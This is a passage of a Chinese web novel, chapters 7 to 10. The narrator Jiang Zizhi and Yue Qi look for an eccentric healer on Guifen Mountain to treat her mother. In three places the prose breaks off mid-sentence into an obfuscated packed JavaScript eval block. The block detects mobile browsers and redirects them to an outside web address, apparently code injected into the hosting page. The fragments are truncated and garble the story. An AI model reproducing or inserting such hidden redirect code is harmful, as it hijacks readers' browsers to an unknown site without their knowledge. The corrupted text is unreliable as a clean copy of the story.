那时,我们两个人一言不发地望着彼此看了很久,那以后,我们都很有默契地避开“爹娘”这个话题。可是今天,却在不小心间被提及。 小柒她哭得难过,我也难受,毕竟我是从小就没了爹娘,在大家的拉扯下长大的,虽不及绕膝他们身前,一路上却也是无忧无虑,过得没心没肺,到最后甚至有点玩世不恭的模样。 而小柒,至始至终,都只有月夫人,都在这表面看起来繁华热闹实际却冷冰冰的醉红楼,伴着袅袅古琴,幽幽弦筝,一年复一年。 7. 守护 “大概是你爹有什么苦衷?”人非草木,天底下没有哪个爹会舍得抛弃自己孩子的吧。更何况在我看来,月夫人也是相当的睿智,她总不会把自己的感情交给一个轻薄的始乱终弃之徒吧。 “苦衷?他能有什么苦衷?他能有我娘苦吗?十多年过去了,我娘一直在醉红楼,她受的苦还少吗?我娘病了,他问过一句吗?”月柒越说越激动,声音越来越大,惊扰到了在隔壁休憩的月夫人。 “小柒,你们在说什么?”月夫人向我们这边款款地挪着步子,还好这是个问句,我庆幸她没听到多少我们的争执。 她本来就病了,脸上毫无血色,今天还穿了一件大红色的袍子,映得她的脸色愈加惨白,让我不禁想到了戏楼里那些涂脂抹粉的伶人们,诡异又瘆人。 “阿娘,没什么,阿执哥哥在跟我讨论我新谱的曲子呢。”月柒一把抹过眼角的透明,转而扯出一个明媚的笑来,面向月夫人。 曲子她个大头鬼哦,不知道什么时候,我们习惯了对我们至亲至爱的人撒谎,大概只是为了不让他们担忧? 我知道,这个面上看来没心没肺的小丫头,其实骨子里不知道有多么在意月夫人。 因为对她而言,月夫人是羁绊,是血脉,亦是唯一。 “阿执,你过来一下,我有话跟你说。”月夫人并没有继续往前走,而是立在了一道屏风旁,那模样,单薄得像刚从屏风上的画里走出纸片人。 她朝我招招手,那样子摇摇欲坠,有一瞬我都怀疑她是不是要随风而去。 “好的,月夫人。”我一把走过去,赶忙搀上了她的臂膀,把她扶进了卧室。 “月夫人你,今天的这身衣裳……”月夫人一贯喜欢素净的东西,今日如此这般艳丽招摇,让我有些捉摸不透。 “不称对不对?可我也是没办法啊,我这病,怕是时日无多了……”她朝我挤出一个勉强的笑容,整张脸像是一朵在风雨里历经摧残的花。 “今天就想跟你说说,要是哪天我走了,你一定要替我好好照顾好柒儿,她还小,别让她在外面闯出什么乱子……”月夫人的声音也很虚弱,仿佛用尽生命最后的气力一般,我听着心里很不是滋味。 好像要把她这余生的话都交代给我,月夫人一直絮絮说个不停。 “月柒出身不好,是入不了江府的,我看着你们打小一起长大,你眼里眉间那份对她的情谊寻常人都是可以看出来的,我劝你最好不要有娶她的想法,免得日后会受你那些妻妻妾妾的欺负,你且以兄长的身份待她,我就知足了。” 月夫人的一番话,像刀子般一片片地凌迟着我的心,江家、醉红楼,两地之隔,为什么连月夫人也如此笃定,我和月柒有缘无份? “咳咳……咳咳……咳咳咳咳……”蓦地,月夫人剧烈的咳嗽起来,我分明看到了她捂着嘴的掌间,有丝丝的鲜血渗出。 只是月夫人出奇地淡定,只见她用袍子轻轻擦拭了一番,那些殷红便迅速融入她的红衣——像是无事发生。 我也被吓得不轻,再无暇细研她说的我和月柒的那些事,赶紧给她倒了杯茶,递到她面前,企图让她别太操心:“月夫人您说哪里的话,您定会长命百岁,你且宽心,照顾好月柒,是我应该做的。” “这,我就放心了。”月夫人又朝我挤出一个微笑,看得出来,其实她很难受。 “月夫人,我扶您去休息吧。”我不想让她刻意去想过多,感情这种事,毕竟不是三言两语就能说明白的,她身子也不适,我索性止住话题。 “好,劳烦了。”她依旧是客客气气地跟我说了句劳烦。 其实说不上麻烦不麻烦,在我心里,她和月柒俨然是家人般的存在,我所做的,都是微不足道的小事。 “我娘悄悄跟你说了什么?”安置好月夫人,我前脚刚迈出房间,后脚八卦的月柒就像条尾巴样跟了过来。 “你娘让我好好照顾你……”除了月夫人的病,我对月柒也没有什么好隐瞒的,就把月娘刚才的部分话如实告诉她了。 四目相对,月柒眨巴着她的大眼睛,那样子,就像深山老林里饮着晨露的小鹿那般,纯洁无瑕。 空气中一时很安静,这突如其来的沉默让人有些尴尬。 这句话,听起来没什么毛病吧? 这么多年了,我承蒙月夫人和月柒照顾,羊羔都知跪乳,乌鸦亦懂反哺,我生而为人,难道还不如它们?照顾月夫人和月柒,于我而言,本来就是天经地义的事情啊。 天色渐晚,我也是时候该回去了。像往常一样,跟月柒道了别,越过百折回廊,下了三楼,我又看见了那抹大红色。 “哟,江兄!还在呀。”是沈笑,他亦看见了我,朝我欢快地招了招手,面露微笑,右边手上还提着一个深青色的酒壶,身边还环绕着几个莺莺燕燕。 要搁在以往,这里是醉红楼,风尘之地。本来在寻常人看来,两个相识男人在这里撞见就是一个尴尬的事情,结果那人还喜笑颜开地冲你打招呼说了一句“哟,江兄”,想想就觉得不可思议。 沈笑与我共事时穿得尚且还算素朴,可一到醉红楼这厮就颇爱着一身他也不嫌招摇的红衣,甚是扎眼,远远地在人群中就可以认出他来。 他偶尔看到我进醉红楼,便拉我小酌,然后我去找月柒,回来时他也是雷打不动地继续呆在大堂喝酒。 他的是非,我也不好多说些什么,家中有妾无妻,还常常在外面花天酒地,怕是缺少了个管事的人,镇不住他吧。也不知道这厮混到什么时候才回去,反正第二天还有公事要办,他虽然流连在风尘之所整夜花天酒地,却每天都是最早到右文殿的那个。 只要是见多了他的纨绔,就会觉得,他的所作所为和他的性格很是般配,豪迈又大气,沾花惹草、游戏人间也未免不是一件坏事。我想我大约是被他带坏了,才会生出这般想法。 右文殿、醉红楼,出出进进,我们一天相遇无数次,久而久之,遇见他成为一种日常,我便习以为常地扯着微笑回了他一句:“嗨。” 尔后加快了步子,急急忙忙地赶回江府。 寒意透过薄衫侵入骨髓,冷得彻底,想来是时候该多添件衣服了。 刚迈进门槛,我就看见梧桐树下那抹浅灰,爹伫在树下,静静地看着满院新掉落的叶子,似乎是在思忖着什么。我走了过去,冲他道了句:“爹,天气凉了,是该多加件衣服了。” 虽不是亲生,我和他的关系却很微妙,似父似子,如兄如友。 他转身面向我,如往常一样道了句:“回来了呀。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244463|166332||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 尔后又像是想起来了什么,朝我问道:“今日阿笙怎么还没回来。” 阿笙是我身边的唯一一个小厮,与我年纪相仿,孩子心性,颇爱玩闹。 “哦,我吩咐他去买一些东西了。”我面不改色地回他,心里却是虚的。 父亲日日都会去派阿笙接我回家,阿笙和我已经达成了一种莫名其妙的默契。我常去醉红楼,而他也不知道干嘛去了,却总会比我晚回江府。偶尔父亲会问起阿笙怎么不回家,我总会找各种理由搪塞过去。 我们之间藏着一个秘密,一个关于我与月柒的秘密。 父亲为人刚正,虽然嘴上不说,但心里对于我去这些风月场所是有所抵触的。有一次我出醉红楼与归家的他正好在门口撞见,我当时就看见他眸底隐隐约约的愠色,他二话没说,回来就抄起长棍把我揍了一顿,还罚抄了百遍的《道德经》。 我怕他生气,可我也想去醉红楼看看月柒和月夫人,只好跟阿笙达(狼)成(狈)共(为)识(奸),他挣脱被江府约束追逐他的自由,我前去醉红楼看看她们。 有时候白天在右文殿看不着月柒,我的心里就空荡荡的,好像少了什么一样。而月夫人,于我而言,就像娘亲一般,知性、娴淑,对我也是百般好。 爹,月柒,月夫人,不知道为什么,这些人虽与我并无任何血缘关系,却渐渐地成为了我生命中重要的部分,我谁都不想失去,我不知道这算不算贪心。 - “沈笑啊,你说醉红楼里哪位姑娘最美呀?”我翻着手中的公文,上面是密密麻麻的蝇头小字,假装漫不经心地问坐在我旁边的沈笑。 许是因为今日身上公务不多,我脑海中竟又想起月柒那日的那个问题,仔细想来,距离上次,已经过去了三月有余。 穿梭于各大风月场所,阅美人无数,这个问题,沈笑回答起来应该是得心应手吧。 毕竟他是一个风流公子,于他而言,夜夜流连烟花之地已是常事。这厮长得妖孽,因为这副好看的皮囊,也不知道博得了多少姑娘的欢心。可他呢,百花丛中过,片叶不沾身,只可惜了那些如花似玉的姑娘们哟,玻璃心碎了一地。 沈笑却也不回答一二,修长净白的手指执着一卷书册,挡在脸前,露出的一双桃花眼弯成好看的弧度:“想问这个问题的,怕不是你吧?” “啊?如果我问你呢?”当然不是我,是小柒,但我突然好奇,如果有人这么问沈笑,他会怎么回答。 “是月柒吧。”沈笑朝我比了个口型,却没有发出任何的声音。 “啊?你刚说了什么?”我没看懂,一头雾水。 “天色不早了,早点干完活回去吧你,我先走了呀,玲玲还等着我呢,哈哈哈哈。”沈笑他并未答我,魔性的笑声随着他飘逸的白衣,消失在了大门口。 想必他又是和哪个美人有约,如此这般留下一大堆烂摊子给我和裴浅溪,已是常事。 白衣胜雪比红衣妖娆的沈笑要好看,整个人身上多了几分温润儒雅的气质,可我每每在醉红楼遇见他,他都是一袭刺眼的红,那装扮,像极了迎娶新嫁娘的郎君。 我着实好奇,他现在每天就穿得这么妖艳,出去招蜂引蝶,等到他真正成亲的那天,会是什么模样。 8. 鬼坟山寻医 “醉红楼,唔,不知道。”裴浅溪本在专心致志地批阅着什么,等我和沈笑讨论完,他补了一句。 裴浅溪、沈笑和我共事右文殿,从六品,带了一帮子杂役。日常是负责念城大大小小的卷宗、档案、资料的整理和编撰,也常有负责刑罚、户籍之类的官员前来调阅相关资料,我们要做的就是替他们抄录副本。 与沈笑的游戏人间不同,裴浅溪则显得更加深沉内敛一些,总能给人一种很实在的感觉,事实也的确是如此。因为夜晚在外面鬼混,沈笑大白天总是睡觉,不好好干活,把事情推脱给我,裴浅溪总会留下来,帮我善后。 像一个大哥一样,每天为我们这群不让人省心的小弟操心着,我有时候会庆幸,我有一个沈笑和一个裴浅溪。他们中一个人嘻嘻哈哈不成正形,掩着心中的不愉快,总是把笑留给你;而另一个,虽然不善言辞,骨子里满满的都是凛然浩气,成为了你最坚强的后盾。 等我和裴浅溪处理好了最后一份公文,已是傍晚时分。夜幕早早地垂了下来,念城稀稀拉拉的灯火点缀在其中,像星星一般璀璨,光华万千。 刚迈出屋子,脸上就触到一片冰凉,竟是下雪了。我伸出手来,那些晶亮的颗粒落在掌心,不一会儿就消失不见。 门外阿笙打了伞,迎风而立,见我来了,兴奋地唤了声:“小江江我来接你啦。” “小江江?你叫得这么亲热干吗?”我被他肉麻得起了一身鸡皮疙瘩。 熟归熟,摈弃了主仆身份,称谓还是不要乱来的,他可以叫我“子执”“江子执”甚至是“阿执”,但是小江江未免也太奇怪了吧。 “你今天去看月柒吗?”阿笙收起他的嬉皮笑脸,如往日般问我。 “不了,天色已经很晚了,还下着雪,还是早点回去吧,免得爹又念叨。”昨日才去过,今日也没有什么要紧的事要去找月柒,外面天寒地冻的,我想了想,还是隔日再去吧。 阿笙只是笑笑,一副看破不说破的模样,随即套了马,扶我上车。 马车徐徐缓缓地穿过闹市区,等下车时,地面上已经积了一层薄薄的雪花,像是馋嘴的孩子们最爱的霜糖一般,晶莹剔透。 依旧是和爹一起用晚膳,三菜一汤,也没什么大鱼大肉,他曾跟我说,晚上要吃得清淡些,我也就任他安排了。席间他如往常一般,同我讲了一些朝堂上的公务问题。 江府人少,寥寥二十人,他们中大部分白日里各司其职,干完了活便回家照顾家中老小,能说上话的也不多。同他在晚宴上聊聊天,说说话也是我的日常之一。 他也严肃,不是同我讲些家常里短的琐事,便是同我讲朝堂政务上的大小事,绝无其他,我都听得耳朵快长茧子了。 约莫过了半个时辰,我俩聊罢。他回书房去处理手上的公务,我径自回了屋,想像往日一般有精神的话便秉烛夜读一番,没力气就会洗漱一番直接就寝。 他也不管我是否上进,也不会望子成龙心切,我如今的一切,都是他所赐,我没有任何怨言。无论是身份,还是差事。 我至今忘不了他金榜题名那日的兴奋,可那以后,他曾经的欣喜若狂逐渐被另一种情绪所代替。 几年前,科举还很风靡,我也去凑了热闹,哪知回来以后,他径直在我面前,撕碎了我的答卷,语气中有愠怒:“既然成了你的爹,我觉得我可以养你一辈子。我对你只有两点要求:一,可以习武,不许上战场;二必须要读书,但绝对不许以书取仕。” 纸屑漫天飞舞,亦如我凋零破碎的心。我知道他是批阅人之一,可我没想到,他能这么轻而易举地识出我的笔记,这么轻而易举地拿走我的答卷,把它们丢在我面前。 我不懂,为什么他不让我跟他走上同样的道路?也是因为那一件事,我对他有了畏惧,甚至有些不太想跟他说太多心里话。 沉默,浅谈辄止。 这便成了我们俩的日常,日复一日,绝无变化。右文殿、江府加上醉红楼,我的生活就是在这三点间反复徘徊。 安逸,舒适,却也枯燥。我有时候想跟着他一起外出巡视,借着跟班的名义看看大好的江山社稷,他却以我“涉世不深,不想让我趟这趟浑水”为由,把我牢牢地禁锢在江府。 画地为牢,还美其名曰“厚爱”,可我一点都不怪他,他怕我招惹是非是真,他笑我单纯懵懂也是真,他护我周全更是真。 我就在他给我的这方圆之内,安然自得,日子过得不一样,是因为有醉红楼里的那一大帮子人,她们给我平淡如水的日子添了一丝涟漪。 “咕咕……咕咕咕咕……”我刚点好烛,只听见窗外传来了一阵骚动。 是月柒的鸽子! 玲珑姑娘养了很多信鸽,大概是日常传递密信用的。月柒毫不知情,只是瞧着这一群小家伙,觉得甚是欢喜,便朝她讨要,玲珑也毫不计较,就让月柒自己挑了一只。 月柒挑选的这一只全身青灰,只有尾羽上有一丢丢的白。 月柒将它交与我饲养,慢慢的小家伙长大了,她便常用它与我联系。 爹刻板正经,不许我去醉红楼,说是此地乌烟瘴气,不成大体。我却常偷偷地背着他去找月柒,同阿笙两人合伙诈他。其实,在我看来,醉红楼神秘至极,只要不身陷歪门邪道,也并不如他所说那般一无是处。 反观之,月柒并不能正大光明地来江府寻我,遇到急事也只能飞鸽传书了。 夜已深,月柒此时找我,莫不是有什么要紧的事情? 我一打开窗子,小家伙便“嗖”地窜了进来,落在烛台边,想必是在外面待得太久,冻坏了。 小家伙葡萄籽大小般的眼睛里透着机灵的光芒,待我取了密信,它便在烛前梳理起自己的羽毛。 “明日午时,鬼坟山见。”密信上是我熟悉的娟秀小楷,信里只有这么简短的一句话。 鬼坟山?月柒要去那里干什么? 鬼坟山是城西的一座荒山,它之所以叫鬼坟山,是因为那里有一片乱葬岗。有死人的地方,必然阴气极重,加上附近的村民老是能碰见些奇异的事情,闹鬼一说便流传开来,大家便给这山起名“鬼坟山”。 雪下了一夜,第二天早上便停了,天边却还是压着黑云。 一眼望去,念城大大小小的宅院都在一片银装素裹中,天地间一片纯白无暇。院落外的积雪也还没来得及清扫,踩上去发出“嘎吱嘎吱”的声音。 待我中午交代好手头要处理的事务赶到的时候,月柒已早早地立在寒风中,小小的身影融入浅岱中,走近了才看到她的双颊已经冻得通红。 “抱歉抱歉,我来晚了。”裴浅溪今天不在,要不是沈笑拍着胸脯跟我保证今天一定处理完手上的活儿且下午不会乱跑,我真的是不敢擅自离开,三个人干不完那点儿事,老爹知道了怕是又要说我。 右文殿是爹管辖的,所以他才能那么轻巧地把我塞进去,但他不知道沈笑的事情,每次去右文殿视察沈笑这厮假装乖巧得一批,各种脏活累活抢着干,为此,爹对沈笑这个家伙还是颇为满意的。 哼,他那人畜无害的盛世美颜真的是颇具欺骗性。 看着她冻得通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可就算只有一丝丝的希望,我们今天也要爬上这座山一探究竟。 也不知走了多久,虽然冷,可我俩一路向上,已是大汗淋漓,月柒身子突然朝我挪过来。 “前……前面……有……有个人……”月柒像是发现了什么,颤抖着声音跟我说。 我心里一阵惊喜,这里是山腰,若是在山脚遇见死人,就是件很正常的事情,半山腰遇见的,就可能是活人了。 难道是神医? “太好了,我们过去看看吧。”突然而来的兴奋赶走了我内心所有的恐惧,我拉着月柒正想往前走。 “不会是死人吧……”月柒揪着我的衣角,靠在我身边,有些畏缩。 鬼坟山下是乱葬岗,多的是无名无姓的尸体。要是哪家死了人,又花不起大价钱好生安顿一番,便用草席一卷,直接丢到山下了。还有街上被冻死的饿死的无人认领的尸体,也会被寻街官差丢到那里。 指不定哪家的谁生前没做多少好事,他的家人们想让他做个形单影只的孤魂野鬼,就给他拉到山腰上来呢。要是个死人我也认了,死人哪有那么可怕? 于神于佛,我是敬畏的,可是我不怕鬼。俗话说得好,不做亏心事,不怕鬼上门。 “万一,是神医呢?”好不容易碰到个人,就算是瞎猫碰到死耗子,我可不想错过这么个机会。 几步之遥,我们就可能就够到了那个传说中的神医呐! 我话音刚落,月柒已经大步朝前走到了他的身边,我跟了上去,想看看前面的人到底是何方牛鬼马蛇。 9. 闲云野鹤 迎面扑来的是一阵酒气,不是那种很清冽的酒香,而是像馊了很久的那种味道,闻起来让人很难受。 地上躺着个衣衫褴褛的老头,他花白的胡须张扬成凌乱的弧度,老头面色红润,安详地躺在雪地里,双手还死死地抱着胸前的酒葫芦。 是活人!太好了! 老头儿听到了声响,迷蒙的双眼稍微睁开了一条细缝,望向我们,尔后有些好奇地从地上坐起来,眼睛半眯地看着我们,也不说话,那模样,像是一个胜券在握的猎人,他的胡子上沾着一堆雪籽,在狂风中抖抖擞擞的,像个老顽童。 “请问,您是神医吗?”见他不开口,我们也不知道对方的身份,我只能先试探着问了句。 哪知老头根本没听我说话,突然拉了我一把,颤颤巍巍地站起来,朝我挥了挥他的酒葫芦:“来,喝!” 现在的老人家都这么有精神了吗?冰天雪地的我都冻得要死了,还要找个人喝得畅快淋漓,是不是还要打个醉拳醉棍什么的哦,我心中唏嘘,这老头精神也太好了吧。 然后没过几秒,他就拽着我一起跌入了雪地。 我跌入雪地之中,摔了个狗啃泥,身下的寒冷向我袭来。 “不是神医啊,原来只是一个喝多了跑到山上来的老酒鬼啊。”月柒把我扶起来,有些埋怨地嘟囔了一句。 怎么办?神医还没有找到,半路上遇到了一个老酒鬼,我们还要继续往前走,可是把老酒鬼一个人放在冰天雪地里,万一他冻死了怎么办? 月柒解下了身上的鹤氅,搭在了老酒鬼的身上,然后我们猫在一颗大树后讨论对策。 约莫过了一刻钟,我和月柒依旧没能想出一个万全之策,天边却垂下了几许的灰暗。 真是有点让人头疼。 且不说天色已晚,一去一来都不知会到什么时候。这人虽然是个瘦弱的老人,但因为醉酒意识迷迷糊糊,指不定会做出什么奇怪的事来,仅凭我和月柒中的一个人,根本没有办法挪动他。若是让月柒单独留在山上或下山,我也是不放心的。 风比上山时更冷了,虽然爹嘱咐我刻意添了衣,此时却还是能感受到隐隐约约的寒意,而一旁的月柒,因为把鹤氅给了老酒鬼,也似乎很冷的样子,冻得直发抖。 “你冷吗?要不我把外衣给你一件?”我正准备脱下外衣,问她。 哪知月柒头摇得跟拨浪鼓一般:“不冷,给了我,你会冷的。” 月柒有时候性子特别倔,一旦她不同意的事,我怎么都无法改变,为此我们还闹过矛盾。此时此刻,我只能把她的一双小爪子握在掌心里,两人相依取暖。 就在我们一筹莫展时,不远处传来了清脆的铃声,伴着一个稚嫩的孩童的声音:“哎,狼神,你跑慢点!” 那只叫“狼神”的小狗随即映入眼帘,他全身黑黢黢的,但是四只爪爪是雪白的,脖子上还用红绳系了一颗小小的铃铛。只见它兴奋地蹦到了老酒鬼的身边,亲热地舔着他冻得通红的脸颊。 老酒鬼大概是感受到了什么不对劲,一把推开狼神:“什……什么……鬼东西?” 紧接着狼神而来的,是一个跑累得气喘吁吁的男孩子,约莫跟月柒一般年纪。 那小孩并不像老酒鬼一般邋遢,头发有序地用一根红绳绑着,脖子上挂着一把长命锁。虽然穿着粗布麻衫,棉衣间的几团露出的棉絮还隐隐约约地可以看见。可他眉宇间却透露着一股子浑然天成的贵气,真是稀奇,是我一时的错觉吗?按理说,老酒鬼应该是小童的长辈,可相比之下,他们完全不是一个画风。这两个人究竟是什么关系? 看到躺在地上不醒人事的老酒鬼,那个孩子皱了皱眉,满脸的不开心:“师父你又喝多了,这冰天雪地的,要不是狼神,我都找不到你。” 师徒?这酒鬼没个正行,哪里有半点师父的模样?反观那徒弟,倒是板板正正,有些慧根。 随即他从背包里拿出一个水袋,捡了段小树枝撬开了老酒鬼的嘴,将一些淡红色的液体喂给了他,蓦地笑得很放肆:“嘿嘿,师父,给你尝尝我新研制的醒酒汤,独门秘制,为你量身定做的哟。” 我刚想什么的来着!!!我默默收回之前的所有想法,果然有其师必有其徒,我暗暗笃定,这个小徒弟喂给他师父吃的,肯定不是什么好东西。 那小孩喂完了那些神秘的淡红色液体,朝我们行了个礼,恢复到正经的模样,礼貌地说道:“两位贵客是上山寻师父的吧,请稍等片刻,我师父他又喝多了。” 贵客倒算不上,不过是听了一番道听途说的话,斗着胆子来这山里碰碰运气。 月柒接过他的话,眸中多了几分亮色:“他真的是神医吗?” 那小童并未回答,见老酒鬼半天没醒,只是蹙着眉,一脸凝重地看着他的酒鬼师父。 要是这个深山里偶遇的酒鬼是神医,那真是踏破铁鞋无觅处,除了路程稍远,我倒是觉得,这一路也太顺利了点儿? 又过了没多久,那老酒鬼猛烈地咳嗽起来,随即他捂着胸口,自己从地上爬了起来,打了一个趔趄。那小童见状,赶紧支了他一把。 “唉,我说你这小子,给你师父喝了什么?”神医晃了晃脑袋,抬起头便看见了小童,立马问了一句。 此时他脸上表情有点难以形容,一副难受又开心的模样,像是在刻意隐忍着什么。 “回师父,是徒儿新研的醒酒汤。”那小童朝他晃了晃手边的那个水袋,眉宇间尽是喜色。 老酒鬼似是在回味些什么,枯柴般的手指捋着胡子,说道:“如此看来,效果还是挺好的,只是味道奇怪了一些。” 只听得那小童碎碎念了一句:“可不是嘛,加了半罐子的辣椒粉呢。” 月柒一听这话,看了看眼前的师徒二人,捂着袖子偷偷笑了起来。 那师父年纪有些大了,耳力却还是不错的,听到这句话,一把揪着小童的耳朵:“你小子又皮痒痒了是不是?” “师父,我是怕你在这冰天雪地冻坏了身子,特地加些辣椒粉给你取取暖。”那小童朝他咧嘴笑了笑,露出一口洁白的牙齿,一副天真无邪的模样。 “胡说,你师父我现在在雪地里练习‘辟谷之术’呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老酒鬼一推开柴扉,屋里的鸡鸭鹅开始活跃起来,叽叽喳喳地乱作一团。 “别吵吵,谁再吵吵今晚吃谁!”老酒鬼朝它们挥了挥手,那些鸡呀鸭呀一哄而散。 有两只胆大的公鸡立在竹栅栏上,听到他的喝声,似是受到了惊吓,扑腾着翅膀冲向地面。 狼神大概是抱着一副唯恐屋子不乱的心,也开始兴奋了起来,追着其中的一只公鸡在前院里打转转。 犬吠鸡鸣,鸡飞狗跳,眼前景象乱作一团。 “狼神!”弥生喝了一声,狼神乖巧地围在他身边转了几圈,一双爪子蹭到他的身上百般讨好,又伸出舌头来舔舐着他,一番闹剧这才结束。 虽是我二人来寻神医,有求于他们,弥生待我们却如座上宾一般,给我们搬来了炭火,奉上了热茶,还细心地给了月柒一个小手炉。 “女孩子家家的,本来阳气就弱,可不能因为上山一趟,侵了风寒。”弥生嘱咐道。 连我都被他的一番言语暖到了,莫不是医者仁心,整个人心思也变得细腻了起来? 月柒捂着那个小手炉,像是冬日里阳光下贪婪地汲取着温暖的小白狐,窝成一团。 这丫头,怕是冻坏了。 一杯热茶下肚,顿时觉得神清气爽,冷意全无。我把月柒的那只杯子往她跟前推了推,示意她喝一点。 月柒立刻会意,将那杯茶一饮而尽,又收手回去捂着她的小手炉,我又给她续了一杯。 10. 将军 屋内茶香袅袅,火炉通红,窗外鸡鸣狗叫,天寒地冻,若是无事,此情此景,闲敲棋子,挑落灯花,未免安逸过头了吧。 “神医……”大概是被他们的热情所感染,我也懒得多寒暄几句,刚坐下,打算直表来意。 “别叫我神医,担当不起啊,担当不起。”话音还未落,老酒鬼就打断我,摇着头,连连摆了摆手。 世外高人一般都谦逊,他们习得常人外的技法,超脱俗世,对功名利禄淡泊,他越是这样,我越觉得他非比寻常,是个不显山露水的高人。 “那我们该怎么称呼您呢?”背地里叫他老酒鬼是可以的,但总不能明面上也如此称呼吧。 “免贵姓‘王’,名‘爷’。你们叫我‘王爷’就好了。”老酒鬼随口说着。 空气中又是一阵沉默。 王姓?名爷?寻常人家叫这个名字也不知道会不会犯些忌讳,反正躲在这大山里,是不会陷入什么政局风云的吧。 他这淡定的语气,就像我第一次去殿里报道,跟裴浅溪和沈笑介绍:“我叫江子执,你们叫我‘子执’就好了。” 沈笑当时还用折扇挑了挑我的下巴,笑眯眯地说了句:“执子之手,与子偕老。好名字!” 吓得我赶紧后退了两大步。 沈笑这般举动惹得一旁的裴浅溪不淡定了:“我说沈笑,对姑娘们毛手毛脚也就算了,怎么对大老爷们也动起手来了。” 沈笑折扇后的那双美目立马黏到了裴浅溪身上,一脸委屈巴巴:“哎哟裴兄,人家是看江小公子长得水灵,跟个大姑娘似的。” 这是几年前的事了,那时我初到右文殿,还是个什么都不懂的混账小子。 “师父,你这名字是认真的不?”弥生显然也不知道自家师父姓甚名谁,歪着脑袋问道。 “千真万确,他天王老子遇见了我,也要这么叫。”王爷眸中划过一丝精光,又呷了一口他的酒。 弥生一时无语,拿过炭火上滋滋冒着热气的茶壶,给目瞪口呆的我和月柒添满杯。 只有王爷像个没事人一般,喝过了他的酒,跳下椅子,一把抓过我的手,随即摇了摇头:“没病。” 又一把抓过月柒的手,又摇了摇头:“没病。” “喂,你这疯疯癫癫的老酒鬼,我们什么时候说我们有病了。”月柒因为他的冒犯而愠怒,脱口道。 我有时候会羡慕月柒的直接,想到什么就说什么,可是我做不到。 “是这样的,小柒她娘生病了,我们想请您去看看。”我向王爷解释道。 “哦,这样啊,那明天再说吧。”老酒鬼摇了摇他的酒葫芦,眯着眼睛向里望了望,颇为遗憾地说道:“唉,我的酒怎么又没了?” 下一秒,王爷未留下只言片语,拿着他的酒葫芦径直推着柴扉出去了,我本想叫住他说清楚事情的始末,可还没来得及开口,他早已神不知鬼不觉地溜出去了一大段路。 糟了,是不是因为月柒的话惹得王爷不高兴了? “天色已晚,两位今天就在这里随便找间客房休息,我师父他又去喝酒了。弥生就先告辞了。”弥生向我们解释道,随即去寻他的酒鬼师父。 “唉,师父你少喝点,别又走丢了。”弥生的声音还回荡在空气中,老酒鬼已经溜没了影——虽是上了年纪,腿脚却是极好的。 我和月柒面面相觑,这真的是神医吗?这样的神医真的靠谱吗? 随便找间客房休息?这王爷和弥生心也是真大,哪有客人趁主人不在家然后乱逛的道理。 许久,弥生也没回来,我俩也有点坐不下去了。月柒和我掌了铜灯,开始往内屋走。远离了那些闹腾的小动物们,越往里走,屋子显得越静,刺鼻的中药味越来越浓烈。 这间宅子布置简单,除了日常所需,也没什么多余的装饰。回廊左右两侧各分布着十几个屋子,想来是用来安置病人们的。屋子的门与门之间隔得很近,可能房间并不大。 走廊里空荡荡的,回荡着我和月柒的脚步声。黑暗笼罩着我们,草药的味道弥漫着,屋顶上也不知道挂了些什么东西,黑漆漆的看不太清。这方天地像是巨大的棺椁一般,压抑得有点让人透不过气来。 “两位,想必是来寻医问药的吧。”空气中传来一个苍老的声音,吓得我打了一个激灵,掌中的铜灯差点掉落,烛影在墙上晃了晃。 我望了望身边的月柒,她仿佛跟个没事人似的,拎着另一盏铜灯,扶着墙壁一直往前走,还好奇地四处张望着。 “是的,我们是来找老先生给我娘看病的,但是这个老头疯疯癫癫的,还不及他身边的那个药童正常。”月柒向来口直心快,说话也是不加思索的。 童言无忌,那头的声音倒也不计较,笑道:“这老头子脾气是有些古怪,若二位好奇,在下可为你们讲解一二。我在左手边第五间房里。” 循着那苍老的声音,我们找到了第五间客房,等我们到了门口,正欲敲门。 老者的声音又传来了:“直接进来吧,别客气了。” 唉,为什么现在的老人家们一个个都上了年纪,耳力却都是这么好的?先前弥生给王爷灌了大罐子辣椒水后嘀咕了一声,王爷也是听得一清二楚。 床上躺着的那个老人虽然鬓角已染上些许苍白,但是却面色红润,一双眼睛显得奕奕有神。他的双腿被裹上厚厚的一层棉布,还用木板固定着,大概是有腿疾。 床边放了一个火炉,应该是弥生特别准备的,医者心善,照顾病人更是无微不至。王爷那么让人不省心,不给人添乱就已经很不错了,说他会照顾别人,反正我是不信的。 老先生告诉我们,自己来此已有半年有余,就为了医自己的腿疾。这半年里,他见过很多病人慕名而来——他们中大多数都是些重病患者,无奈才来此投医,不然谁愿意没事往鬼坟山这个邪门的地儿跑。神医虽然疯疯癫癫,医术却是真的精湛,除了部分病人被赶下了山,部分真的是无力回天,大多都痊愈而归。 一个大夫,悬壶济世是本职,他为何要赶走病人?我正欲问个一二,却被月柒抢了先:“好奇怪呀,神医他为什么赶走病人呀?” 或许,这跟王爷把屋子特地建在鬼坟山有点关系?还是仅仅的故弄玄虚? 老先生正欲作答,此时,门外响起了敲门声,是弥生回来了。只见他端着一个铜盘,里面 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“吴将军托我告诉您,您大可放心,您受伤的消息并未传出去,边境的敌人们也不敢轻举妄动。”弥生替他换了块新布,重新包扎好,在他耳边絮絮说道。 “那就好,有劳小先生了。”那将军朝弥生笑道,那笑容虽是惨白,透漏出的感激却已经写在脸上。 